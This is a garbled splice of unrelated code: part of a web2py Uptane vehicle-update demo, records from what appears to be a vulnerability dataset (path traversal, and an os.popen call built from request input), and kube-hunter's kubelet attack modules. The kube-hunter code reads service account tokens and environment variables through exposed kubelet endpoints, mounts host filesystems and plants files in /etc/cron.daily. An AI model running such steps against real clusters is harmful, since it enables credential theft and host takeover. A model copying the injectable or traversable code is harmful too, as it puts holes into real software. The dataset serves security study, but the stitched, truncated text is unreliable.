imagerepo db with\n filename = return_filename(update_image)\n\n # Add uploaded images to imagerepo repo + write to repo\n imagerepo.add_target_to_image_repo(cwd+'/applications/UPTANE/static/uploads/'+update_image, filename)\n imagerepo.write_image_repo()\n\n # Metadata was initially intended to be showed, so this place holder function call was created\n meta = create_meta(form.vars.ecu_type + '_' + form.vars.update_version)\n\n # Add or Update this instantiation of the ECU in the ECU db\n id_added = db.ecu_db.update_or_insert((db.ecu_db.supplier_name == auth.user.username) &\n (db.ecu_db.ecu_type == form.vars.ecu_type) &\n (db.ecu_db.update_version == form.vars.update_version),\n ecu_type=form.vars.ecu_type,\n update_version=form.vars.update_version,\n supplier_name=auth.user.username,\n metadata=meta,\n update_image=form.vars.update_image)\n print('id_added: {0}\\necu:{1}'.format(id_added, db.ecu_db.id==id_added))\n\n response.flash = 'form accepted'\n elif form.process().errors:\n response.flash = 'form has errors'\n else:\n response.flash = 'please fill out the form'\n return form\n\n@auth.requires_login()\ndef add_ecu_validation(form):\n meta = create_meta('3')\n id_added = db.ecu_db.update_or_insert((db.ecu_db.supplier_name == auth.user.username) &\n (db.ecu_db.ecu_type == form.vars.ecu_type) &\n (db.ecu_db.update_version == form.vars.update_version),\n ecu_type=form.vars.ecu_type,\n update_version=form.vars.update_version,\n supplier_name=auth.user.username,\n metadata=meta,\n update_image=form.vars.update_image)\n\n@auth.requires_login()\ndef create_vehicle(form):\n try:\n #print('\\n\\nCREATE_VEHICLE()')\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n #print('\\n\\nAFTER CREATING DIRECTOR@ ADDR: {0}:{1}'.format(str(demo.DIRECTOR_SERVER_HOST), str(demo.DIRECTOR_SERVER_PORT)))\n\n # Add a new vehicle to the director repo (which includes writing to the repo)\n director.add_new_vehicle(form.vars.vin)\n director.write_director_repo(form.vars.vin)\n\n pri_ecu_key = demo.import_public_key('primary')\n sec_ecu_key = demo.import_public_key('secondary')\n ecu_pub_key = ''\n #print('\\n\\n\\ncreating vehicle now\\n{0}\\ttype: {1}\\n'.format(form.vars, type(form.vars)))\n #print('pri_ecu_key: {0}\\nsec_ecu_key: {1}\\necu_pub_key: {2}'.format(pri_ecu_key, sec_ecu_key, ecu_pub_key))\n for e_id in form.vars.ecu_list:\n ecu = db(db.ecu_db.id==e_id).select().first()\n\n # Retrieve the filename to add the target to the director\n cwd = os.getcwd()\n filename = return_filename(ecu.update_image)\n filepath = cwd + str('/applications/UPTANE/test_uploads/'+filename)\n\n # Determine if ECU is primary or secondary\n is_primary = True if ecu.ecu_type == 'INFO' else False\n\n # If it's a secondary, then add the target to the director and write to the director repo\n if not is_primary:\n director.add_target_to_director(filepath, filename, form.vars.vin, ecu.ecu_type+str(form.vars.vin))\n director.write_director_repo(form.vars.vin)\n\n # Register the ecu w/ the vehicle\n ecu_pub_key = pri_ecu_key if is_primary else sec_ecu_key\n #print('\\necu.ecu_type: {0} + form.vars.vin: {1}\\tis_primary: {2}'.format(ecu.ecu_type, form.vars.vin, is_primary))\n # only register ecus ONCE - correct?\n director.register_ecu_serial(ecu.ecu_type+str(form.vars.vin), ecu_pub_key, form.vars.vin, is_primary)\n # Necessary?\n #director.write_director_repo(form.vars.vin)\n except Exception as e:\n print('Unable to create a new vehicle due to the following issue: {0}'.format(e))\n\n\n@auth.requires_login()\ndef get_supplier_versions(list_of_vehicles):\n try:\n info = db(db.ecu_db.ecu_type=='INFO').select().last()\n bcu = db(db.ecu_db.ecu_type=='BCU').select().last()\n tcu = db(db.ecu_db.ecu_type=='TCU').select().last()\n #print('\\n\\ninfo: {0}\\nbcu: {1}\\ntcu: {2}'.format(info, bcu, tcu))\n supplier_version = str(bcu.ecu_type) + \" : \" + str(bcu.update_version) + '\\n' + \\\n str(info.ecu_type) + \" : \" + str(info.update_version) + '\\n' + \\\n str(tcu.ecu_type) + \" : \" + str(tcu.update_version)\n\n for vehicle in list_of_vehicles:\n # Assume all vehicles have TCU, BCU, and INFO\n vehicle.update_record(supplier_version=supplier_version)\n except Exception as e:\n print('Unable to get the supplier versions due to the following error: {0}'.format(e))\n\n@auth.requires_login()\ndef get_director_versions(list_of_vehicles):\n try:\n for vehicle in list_of_vehicles:#db(db.vehicle_db.oem==auth.user.username).select():\n #print('\\nvehicle: {0}'.format(vehicle))\n director_version = ''\n version_dict = {}\n #print('ecu_list unsorted: {0}\\necu_list sorted: {1}'.format(vehicle.ecu_list, sorted(vehicle.ecu_list)))\n for ecu in vehicle.ecu_list:\n ecu_type = db(db.ecu_db.id==ecu).select().first().ecu_type\n update_version = db(db.ecu_db.id==ecu).select().first().update_version\n version_dict[ecu_type] = update_version\n director_version += ' ' + str(ecu_type) + ' : ' + str(update_version)\n #print('director_version: {0}'.format(director_version))\n #print('version_dict: {0}'.format(version_dict))\n #print('ordered: version_dict: {0}'.format(OrderedDict(sorted(version_dict.items()))))\n # Director Str Version\n vehicle.update_record(director_version = director_version)\n #db.vehicle_db(db.vehicle_db.id == vehicle).update_record(director_version = director_version)\n # Dictionary Version\n #db.vehicle_db(db.vehicle_db.id == vehicle).update_record(director_version = version_dict)\n except Exception as e:\n print('Unable to get the director versions due to the following error: {0}'.format(e))\n\n@auth.requires_login()\ndef get_vehicle_versions(list_of_vehicles):\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n\n # Iterate through the list of vehicles in order to return the vehicle reported versions\n for vehicle in list_of_vehicles:\n #print('vehicle: {0} : vin#: {1}'.format(vehicle, vehicle.vin))\n try:\n # Currently we're iterating through the 3 ECU types we limit the Supplier in uploading in order to retrieve\n # their ECU manifests. These are used to append to the ecu_serial_string.\n ecu_list = ['BCU', 'INFO', 'TCU']\n ecu_serial_string = ''\n # If the default file is returned from the ECU manifests (secondary_firmware.txt), then is_default stays true\n # and the checkin time for the vehicle will not be updated. However, if the ECU manifests have a different\n # file (i.e., the vehicle has 'updated'), then is_default gets set to False and the checkin time shall be\n # updated.\n is_default = True\n update_checkin_time = False\n # Iterate through the list of ECU's (which is currently hardcoded) and gather their ecu_manifest\n # From each ecu_manifest, parse the file name of their current image and add it to the ecu_serial_string\n for ecu in ecu_list:\n ecu_manifest = director.get_last_ecu_manifest(str(ecu)+str(vehicle.vin))\n try:\n file_path = ecu_manifest['signed']['installed_image']['filepath']\n if file_path == '/secondary_firmware.txt':\n ecu_serial_string += '{0} : {1} '.format(str(ecu), 'N/A')\n else:\n is_default = False\n update_checkin_time = True\n ecu_serial_string += '{0} : {1} '.format(str(ecu), file_path[-7:-4])\n except Exception:\n # This is to catch the error received from an ECU manifest that returns an error\n ecu_serial_string += '{0} : {1} '.format(str(ecu), 'N/A') if is_default else '{0} : {1} '.format(str(ecu), '1.0')\n\n vehicle.update_record(vehicle_version=ecu_serial_string)\n cur_time = datetime.datetime.now()\n\n vehicle.update_record(checkin_date=cur_time) if update_checkin_time else print('Checkin date will not be updated for vehicle: {0}'.format(vehicle.vin))\n except Exception as e:\n vehicle.update_record(vehicle_version='None')\n print('did not work with this error: {0}'.format(e))\n\n@auth.requires_login()\ndef get_status(list_of_vehicles):\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n\n # Iterate through the list of vehicles in order to return the ECU reported attacks detected\n for vehicle in list_of_vehicles:\n try:\n # Get the vehicle's manifest\n vv = director.get_last_vehicle_manifest(vehicle.vin)\n attack_status = ''\n if 'signed' in vv:\n try:\n # Retrieve all of the reported ecu_version manifests keys\n ecu_serials = list(vv['signed']['ecu_version_manifests'].keys())\n if ecu_serials:\n for ecu in ecu_serials:\n # Retrieve the ECU's last manifest to parse the attacks_detected\n ecu_mani = director.get_last_ecu_manifest(ecu)\n if ecu_mani:\n attack_status = ecu_mani['signed']['attacks_detected']\n except Exception:\n print('Unable to get the ecu_version_manifests from the vehicle manifest.')\n\n # If the attack_status is not the default of '' then we'll return the reported attack_status\n # otherwise, we'll return a value of 'Good'\n attack_status = attack_status if attack_status else 'Good'\n vehicle.update_record(status=attack_status)\n\n except Exception as e:\n vehicle.update_record(status='Unknown')\n print('get_status failed with this error: {0}'.format(e))\n\n@auth.requires_login()\ndef get_time_elapsed(list_of_vehicles):\n for vehicle in list_of_vehicles:\n cur_time = datetime.datetime.now()\n checkin_date = vehicle.checkin_date\n elapsed_time = cur_time - checkin_date\n\n # Convert the elapsed_time to days (d), hours (h), minutes (m), and seconds (s)\n d = divmod(elapsed_time.total_seconds(), 86400)\n h = divmod(d[1], 3600)\n m = divmod(h[1], 60)\n s = m[1]\n\n elapsed_time_string = '{0} days'.format(int(d[0]))\n #elapsed_time_string = '{0} days, {1} hours, {2} minutes'.format(int(d[0]),int(h[0]),int(m[0]))\n vehicle.update_record(time_elapsed=elapsed_time_string)\n\n\n@auth.requires_login()\ndef database_contents():\n # return the database contents based off the current_user\n current_user = auth.user.username\n\n # If it's a supplier, pull up data based off their username\n if current_user == 'supplier1' or current_user == 'supplier2':\n if db.ecu_db.id != '':\n # The following sets the ID#'s to non-readable and pulls all ECU's created by the current user\n db.ecu_db.id.readable=False\n db_contents = SQLFORM.grid(db.ecu_db.supplier_name==auth.user.username, searchable=False, csv=False,\n create=False, editable=False, details=False)\n #onvalidation=add_ecu_validation)\n else:\n db_contents = T('Hello, you have no ecu/vehicles....')\n return db_contents\n\n # Else it's an OEM; so display database applicable to them\n else:\n #print('\\nrequest: {0}'.format(request.vars['ecu_list']))\n list_of_vehicles = db(db.vehicle_db.oem==auth.user.username).select()\n get_supplier_versions(list_of_vehicles)\n get_director_versions(list_of_vehicles)\n get_vehicle_versions(list_of_vehicles)\n get_status(list_of_vehicles)\n get_time_elapsed(list_of_vehicles)\n db.vehicle_db.id.readable=False\n db_contents = SQLFORM.grid(db.vehicle_db.oem==auth.user.username, create=True,\n selectable=lambda vehicle_id: selected_vehicle(vehicle_id), csv=False,\n searchable=False, details=False, editable=False, oncreate=create_vehicle,\n selectable_submit_button='View Vehicle Data',\n maxtextlengths={'vehicle_db.supplier_version' : 50,\n 'vehicle_db.director_version' : 50,#,\n 'vehicle_db.vehicle_version' : 50})#,\n # HREF link to another page - may be good for 'available updates': links = [lambda row: A('Director Updates', _href=URL(\"default\",\"show\",args=[row.id]))])\n\n #print('request.args: {0}\\n'.format(request.args))\n\n # If we are adding a new vehicle to the database\n if 'new' in request.args:\n # Regex used to find all ecu 'options' within the db_contents div tag\n # String we are parsing db_contents for, thus reasoning for specific regex: '
\" + str(e) + \"
\" + cstderr + \"\"\n\n\ndef cors_response(res):\n response = make_response(jsonify(res))\n response.headers['Access-Control-Allow-Origin'] = '*'\n response.headers['Access-Control-Allow-Methods'] = 'PUT,GET,POST,DELETE,OPTIONS'\n response.headers['Access-Control-Allow-Headers'] = 'Content-Type, X-Requested-With'\n return response\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-e', type=str, help='Path to LineAndArrow.')\n parser.add_argument('--port', type=int, help='Port', default=Port)\n args = parser.parse_args()\n path_to_exe = args.e\n Port = args.port\n app.config['JSON_AS_ASCII'] = False\n app.run(host='0.0.0.0', port=Port, debug=False)", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args[\"Data\"]"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "base64.b64decode"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "decode"}}, {"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "encode"}}, {"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "hashlib.sha256"}}, {"lineNo": 59, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "hexdigest"}}, {"lineNo": 60, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 60, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "fb2ad25c6308e51723da0f64de11a48dfaa98f1eab17e7df69b317fd7cacf284", "license": {"spdx": ["BSD-3-Clause"], "repo": "linkgeek/python_flask_cms", "path": "web/controllers/home/tools/gii/index.py", "repo_head_hexsha": "ff5e794b5b11075670e5d11a8cbda0a137319876", "stack_hexsha": "1a0b9167a3a543aaa0f43eace8431db5ba135ff9", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 58, "entireCode": "# -*- coding: utf-8 -*-\nimport os, re\nfrom flask import Blueprint, request\nfrom application import app, db\nfrom common.components.helper.UtilHelper import UtilHelper\n\nroute_home_gii = Blueprint('home_gii_page', __name__)\n\n\n@route_home_gii.route(\"/\")\n@route_home_gii.route(\"/index\")\ndef gii_index():\n return UtilHelper.renderView(\"/home/tools/gii/index.html\")\n\n\n@route_home_gii.route(\"/model\", methods=[\"POST\", \"GET\"])\ndef gii_model():\n default_path_prefix = \"/common/models/\"\n if UtilHelper.isGet():\n db.reflect()\n # dict_keys 转 list\n table_list = list(db.metadata.tables.keys())\n table_list.sort()\n return UtilHelper.renderView(\"/home/tools/gii/model.html\", {\n \"default_path_prefix\": default_path_prefix,\n \"table_list\": table_list\n })\n\n req = request.values\n\n table = req.get(\"table\", \"\").strip()\n path = req.get(\"path\", \"\").strip()\n\n # 后面这里的数据库做成选择的,因为有多数据库的可能\n engine_uri = app.config.get('SQLALCHEMY_DATABASE_URI', '')\n folder_path = app.root_path + default_path_prefix + path\n # 不存在就新建\n if not os.path.exists(folder_path):\n os.makedirs(folder_path)\n\n model_name = (table.replace(\"-\", \" \").replace(\"_\", \" \").title()).replace(\" \", \"\")\n model_path = folder_path + \"/\" + model_name + \".py\"\n\n # 2>&1 标准错误重定向到标准输出, --noinflect 不把复数处理成单数 例如 user_news 会变成 UserNew\n cmd = 'flask-sqlacodegen \"{0}\" --noinflect --tables {1} --outfile \"{2}\" --flask 2>&1'.format(engine_uri, table,\n model_path)\n print(cmd)\n p = os.popen(cmd)\n out_list = p.readlines()\n p.close()\n if out_list and len(out_list) > 0:\n return UtilHelper.renderErrJSON(\"失败原因:\" + \"
\" in logs_url\n\n # returns the cmd line used to run the kubelet\n def test_pprof_cmdline(self):\n config = get_config()\n cmd = self.session.get(\n self.path + KubeletHandlers.PPROF_CMDLINE.value,\n verify=False,\n timeout=config.network_timeout,\n )\n return cmd.text if cmd.status_code == 200 else None\n\n def __init__(self, event):\n self.event = event\n self.session = requests.Session()\n if self.event.secure:\n self.session.headers.update({\"Authorization\": f\"Bearer {self.event.auth_token}\"})\n # self.session.cert = self.event.client_cert\n # copy session to event\n self.event.session = self.session\n self.path = f\"https://{self.event.host}:10250\"\n self.kubehunter_pod = {\n \"name\": \"kube-hunter\",\n \"namespace\": \"default\",\n \"container\": \"kube-hunter\",\n }\n self.pods_endpoint_data = \"\"\n\n def get_pods_endpoint(self):\n config = get_config()\n response = self.session.get(f\"{self.path}/pods\", verify=False, timeout=config.network_timeout)\n if \"items\" in response.text:\n return response.json()\n\n def check_healthz_endpoint(self):\n config = get_config()\n r = requests.get(f\"{self.path}/healthz\", verify=False, timeout=config.network_timeout)\n return r.text if r.status_code == 200 else False\n\n def execute(self):\n if self.event.anonymous_auth:\n self.publish_event(AnonymousAuthEnabled())\n\n self.pods_endpoint_data = self.get_pods_endpoint()\n healthz = self.check_healthz_endpoint()\n if self.pods_endpoint_data:\n self.publish_event(ExposedPodsHandler(pods=self.pods_endpoint_data[\"items\"]))\n if healthz:\n self.publish_event(ExposedHealthzHandler(status=healthz))\n self.test_handlers()\n\n def test_handlers(self):\n config = get_config()\n # if kube-hunter runs in a pod, we test with kube-hunter's pod\n pod = self.kubehunter_pod if config.pod else self.get_random_pod()\n if pod:\n debug_handlers = self.DebugHandlers(self.path, pod, self.session)\n try:\n # TODO: use named expressions, introduced in python3.8\n running_pods = debug_handlers.test_running_pods()\n if running_pods:\n self.publish_event(ExposedRunningPodsHandler(count=len(running_pods[\"items\"])))\n cmdline = debug_handlers.test_pprof_cmdline()\n if cmdline:\n self.publish_event(ExposedKubeletCmdline(cmdline=cmdline))\n if debug_handlers.test_container_logs():\n self.publish_event(ExposedContainerLogsHandler())\n if debug_handlers.test_exec_container():\n self.publish_event(ExposedExecHandler())\n if debug_handlers.test_run_container():\n self.publish_event(ExposedRunHandler())\n if debug_handlers.test_port_forward():\n self.publish_event(ExposedPortForwardHandler()) # not implemented\n if debug_handlers.test_attach_container():\n self.publish_event(ExposedAttachHandler())\n if debug_handlers.test_logs_endpoint():\n self.publish_event(ExposedSystemLogs())\n except Exception:\n logger.debug(\"Failed testing debug handlers\", exc_info=True)\n\n # trying to get a pod from default namespace, if doesn't exist, gets a kube-system one\n def get_random_pod(self):\n if self.pods_endpoint_data:\n pods_data = self.pods_endpoint_data[\"items\"]\n\n def is_default_pod(pod):\n return pod[\"metadata\"][\"namespace\"] == \"default\" and pod[\"status\"][\"phase\"] == \"Running\"\n\n def is_kubesystem_pod(pod):\n return pod[\"metadata\"][\"namespace\"] == \"kube-system\" and pod[\"status\"][\"phase\"] == \"Running\"\n\n pod_data = next(filter(is_default_pod, pods_data), None)\n if not pod_data:\n pod_data = next(filter(is_kubesystem_pod, pods_data), None)\n\n if pod_data:\n container_data = pod_data[\"spec\"][\"containers\"][0]\n if container_data:\n return {\n \"name\": pod_data[\"metadata\"][\"name\"],\n \"container\": container_data[\"name\"],\n \"namespace\": pod_data[\"metadata\"][\"namespace\"],\n }\n\n\n\"\"\" Active Hunters \"\"\"\n\n\n@handler.subscribe(AnonymousAuthEnabled)\nclass ProveAnonymousAuth(ActiveHunter):\n \"\"\"Foothold Via Secure Kubelet Port\n Attempts to demonstrate that a malicious actor can establish foothold into the cluster via a\n container abusing the configuration of the kubelet's secure port: authentication-auth=false.\n \"\"\"\n\n def __init__(self, event):\n self.event = event\n self.base_url = f\"https://{self.event.host}:10250/\"\n\n def get_request(self, url, verify=False):\n config = get_config()\n try:\n response_text = self.event.session.get(url=url, verify=verify, timeout=config.network_timeout).text.rstrip()\n\n return response_text\n except Exception as ex:\n logging.debug(\"Exception: \" + str(ex))\n return \"Exception: \" + str(ex)\n\n def post_request(self, url, params, verify=False):\n config = get_config()\n try:\n response_text = self.event.session.post(\n url=url, verify=verify, params=params, timeout=config.network_timeout\n ).text.rstrip()\n\n return response_text\n except Exception as ex:\n logging.debug(\"Exception: \" + str(ex))\n return \"Exception: \" + str(ex)\n\n @staticmethod\n def has_no_exception(result):\n return \"Exception: \" not in result\n\n @staticmethod\n def has_no_error(result):\n possible_errors = [\"exited with\", \"Operation not permitted\", \"Permission denied\", \"No such file or directory\"]\n\n return not any(error in result for error in possible_errors)\n\n @staticmethod\n def has_no_error_nor_exception(result):\n return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result)\n\n def cat_command(self, run_request_url, full_file_path):\n return self.post_request(run_request_url, {\"cmd\": f\"cat {full_file_path}\"})\n\n def process_container(self, run_request_url):\n service_account_token = self.cat_command(run_request_url, \"/var/run/secrets/kubernetes.io/serviceaccount/token\")\n\n environment_variables = self.post_request(run_request_url, {\"cmd\": \"env\"})\n\n if self.has_no_error_nor_exception(service_account_token):\n return {\n \"result\": True,\n \"service_account_token\": service_account_token,\n \"environment_variables\": environment_variables,\n }\n\n return {\"result\": False}\n\n def execute(self):\n pods_raw = self.get_request(self.base_url + KubeletHandlers.PODS.value)\n\n # At this point, the following must happen:\n # a) we get the data of the running pods\n # b) we get a forbidden message because the API server\n # has a configuration that denies anonymous attempts despite the kubelet being vulnerable\n\n if self.has_no_error_nor_exception(pods_raw) and \"items\" in pods_raw:\n pods_data = json.loads(pods_raw)[\"items\"]\n\n temp_message = \"\"\n exposed_existing_privileged_containers = list()\n\n for pod_data in pods_data:\n pod_namespace = pod_data[\"metadata\"][\"namespace\"]\n pod_id = pod_data[\"metadata\"][\"name\"]\n\n for container_data in pod_data[\"spec\"][\"containers\"]:\n container_name = container_data[\"name\"]\n\n run_request_url = self.base_url + f\"run/{pod_namespace}/{pod_id}/{container_name}\"\n\n extracted_data = self.process_container(run_request_url)\n\n if extracted_data[\"result\"]:\n service_account_token = extracted_data[\"service_account_token\"]\n environment_variables = extracted_data[\"environment_variables\"]\n\n temp_message += (\n f\"\\n\\nPod namespace: {pod_namespace}\"\n + f\"\\n\\nPod ID: {pod_id}\"\n + f\"\\n\\nContainer name: {container_name}\"\n + f\"\\n\\nService account token: {service_account_token}\"\n + f\"\\nEnvironment variables: {environment_variables}\"\n )\n\n first_check = container_data.get(\"securityContext\", {}).get(\"privileged\")\n\n first_subset = container_data.get(\"securityContext\", {})\n second_subset = first_subset.get(\"capabilities\", {})\n data_for_second_check = second_subset.get(\"add\", [])\n\n second_check = \"SYS_ADMIN\" in data_for_second_check\n\n if first_check or second_check:\n exposed_existing_privileged_containers.append(\n {\n \"pod_namespace\": pod_namespace,\n \"pod_id\": pod_id,\n \"container_name\": container_name,\n \"service_account_token\": service_account_token,\n \"environment_variables\": environment_variables,\n }\n )\n\n if temp_message:\n message = \"The following containers have been successfully breached.\" + temp_message\n\n self.event.evidence = f\"{message}\"\n\n if exposed_existing_privileged_containers:\n self.publish_event(\n ExposedExistingPrivilegedContainersViaSecureKubeletPort(\n exposed_existing_privileged_containers=exposed_existing_privileged_containers\n )\n )\n\n\n@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)\nclass MaliciousIntentViaSecureKubeletPort(ActiveHunter):\n \"\"\"Malicious Intent Via Secure Kubelet Port\n Attempts to demonstrate that a malicious actor can leverage existing privileged containers\n exposed via the kubelet's secure port, due to anonymous auth enabled misconfiguration,\n such that a process can be started or modified on the host.\n \"\"\"\n\n def __init__(self, event, seconds_to_wait_for_os_command=1):\n self.event = event\n self.base_url = f\"https://{self.event.host}:10250/\"\n self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command\n self.number_of_rm_attempts = 5\n self.number_of_rmdir_attempts = 5\n self.number_of_umount_attempts = 5\n\n def post_request(self, url, params, verify=False):\n config = get_config()\n try:\n response_text = self.event.session.post(\n url, verify, params=params, timeout=config.network_timeout\n ).text.rstrip()\n\n return response_text\n except Exception as ex:\n logging.debug(\"Exception: \" + str(ex))\n return \"Exception: \" + str(ex)\n\n def cat_command(self, run_request_url, full_file_path):\n return self.post_request(run_request_url, {\"cmd\": f\"cat {full_file_path}\"})\n\n def clean_attacked_exposed_existing_privileged_container(\n self,\n run_request_url,\n file_system_or_partition,\n directory_created,\n file_created,\n number_of_rm_attempts,\n number_of_umount_attempts,\n number_of_rmdir_attempts,\n seconds_to_wait_for_os_command,\n ):\n\n self.rm_command(\n run_request_url,\n f\"{directory_created}/etc/cron.daily/{file_created}\",\n number_of_rm_attempts,\n seconds_to_wait_for_os_command,\n )\n\n self.umount_command(\n run_request_url,\n file_system_or_partition,\n directory_created,\n number_of_umount_attempts,\n seconds_to_wait_for_os_command,\n )\n\n self.rmdir_command(\n run_request_url,\n directory_created,\n number_of_rmdir_attempts,\n seconds_to_wait_for_os_command,\n )\n\n def check_file_exists(self, run_request_url, file):\n file_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=file)\n\n return ProveAnonymousAuth.has_no_error_nor_exception(file_exists)\n\n def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command):\n if self.check_file_exists(run_request_url, file_to_remove):\n for _ in range(number_of_rm_attempts):\n command_execution_outcome = self.post_request(run_request_url, {\"cmd\": f\"rm -f {file_to_remove}\"})\n\n if seconds_to_wait_for_os_command:\n time.sleep(seconds_to_wait_for_os_command)\n\n first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)\n second_check = self.check_file_exists(run_request_url, file_to_remove)\n\n if first_check and not second_check:\n return True\n\n pod_id = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[1]\n container_name = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[2]\n logger.warning(\n \"kube-hunter: \"\n + \"POD=\"\n + pod_id\n + \", \"\n + \"CONTAINER=\"\n + container_name\n + \" - Unable to remove file: \"\n + file_to_remove\n )\n\n return False\n\n def chmod_command(self, run_request_url, permissions, file):\n return self.post_request(run_request_url, {\"cmd\": f\"chmod {permissions} {file}\"})\n\n def touch_command(self, run_request_url, file_to_create):\n return self.post_request(run_request_url, {\"cmd\": f\"touch {file_to_create}\"})\n\n def attack_exposed_existing_privileged_container(\n self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None\n ):\n if file_name is None:\n file_name = \"kube-hunter\" + str(uuid.uuid1())\n\n file_name_with_path = f\"{directory_created}/etc/cron.daily/{file_name}\"\n\n file_created = self.touch_command(run_request_url, file_name_with_path)\n\n if ProveAnonymousAuth.has_no_error_nor_exception(file_created):\n permissions_changed = self.chmod_command(run_request_url, \"755\", file_name_with_path)\n\n if ProveAnonymousAuth.has_no_error_nor_exception(permissions_changed):\n return {\"result\": True, \"file_created\": file_name}\n\n self.rm_command(run_request_url, file_name_with_path, number_of_rm_attempts, seconds_to_wait_for_os_command)\n\n return {\"result\": False}\n\n def check_directory_exists(self, run_request_url, directory):\n directory_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=directory)\n\n return ProveAnonymousAuth.has_no_error_nor_exception(directory_exists)\n\n def rmdir_command(\n self,\n run_request_url,\n directory_to_remove,\n number_of_rmdir_attempts,\n seconds_to_wait_for_os_command,\n ):\n if self.check_directory_exists(run_request_url, directory_to_remove):\n for _ in range(number_of_rmdir_attempts):\n command_execution_outcome = self.post_request(run_request_url, {\"cmd\": f\"rmdir {directory_to_remove}\"})\n\n if seconds_to_wait_for_os_command:\n time.sleep(seconds_to_wait_for_os_command)\n\n first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)\n second_check = self.check_directory_exists(run_request_url, directory_to_remove)\n\n if first_check and not second_check:\n return True\n\n pod_id = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[1]\n container_name = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[2]\n logger.warning(\n \"kube-hunter: \"\n + \"POD=\"\n + pod_id\n + \", \"\n + \"CONTAINER=\"\n + container_name\n + \" - Unable to remove directory: \"\n + directory_to_remove\n )\n\n return False\n\n def ls_command(self, run_request_url, file_or_directory):\n return self.post_request(run_request_url, {\"cmd\": f\"ls {file_or_directory}\"})\n\n def umount_command(\n self,\n run_request_url,\n file_system_or_partition,\n directory,\n number_of_umount_attempts,\n seconds_to_wait_for_os_command,\n ):\n # Note: the logic implemented proved more reliable than using \"df\"\n # command to resolve for mounted systems/partitions.\n current_files_and_directories = self.ls_command(run_request_url, directory)\n\n if self.ls_command(run_request_url, directory) == current_files_and_directories:\n for _ in range(number_of_umount_attempts):\n # Ref: http://man7.org/linux/man-pages/man2/umount.2.html\n command_execution_outcome = self.post_request(\n run_request_url, {\"cmd\": f\"umount {file_system_or_partition} {directory}\"}\n )\n\n if seconds_to_wait_for_os_command:\n time.sleep(seconds_to_wait_for_os_command)\n\n first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)\n second_check = self.ls_command(run_request_url, directory) != current_files_and_directories\n\n if first_check and second_check:\n return True\n\n pod_id = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[1]\n container_name = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[2]\n logger.warning(\n \"kube-hunter: \"\n + \"POD=\"\n + pod_id\n + \", \"\n + \"CONTAINER=\"\n + container_name\n + \" - Unable to unmount \"\n + file_system_or_partition\n + \" at: \"\n + directory\n )\n\n return False\n\n def mount_command(self, run_request_url, file_system_or_partition, directory):\n # Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html\n return self.post_request(run_request_url, {\"cmd\": f\"mount {file_system_or_partition} {directory}\"})\n\n def mkdir_command(self, run_request_url, directory_to_create):\n # Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html\n return self.post_request(run_request_url, {\"cmd\": f\"mkdir {directory_to_create}\"})\n\n def findfs_command(self, run_request_url, file_system_or_partition_type, file_system_or_partition):\n # Ref: http://man7.org/linux/man-pages/man8/findfs.8.html\n return self.post_request(\n run_request_url, {\"cmd\": f\"findfs {file_system_or_partition_type}{file_system_or_partition}\"}\n )\n\n def get_root_values(self, command_line):\n for command in 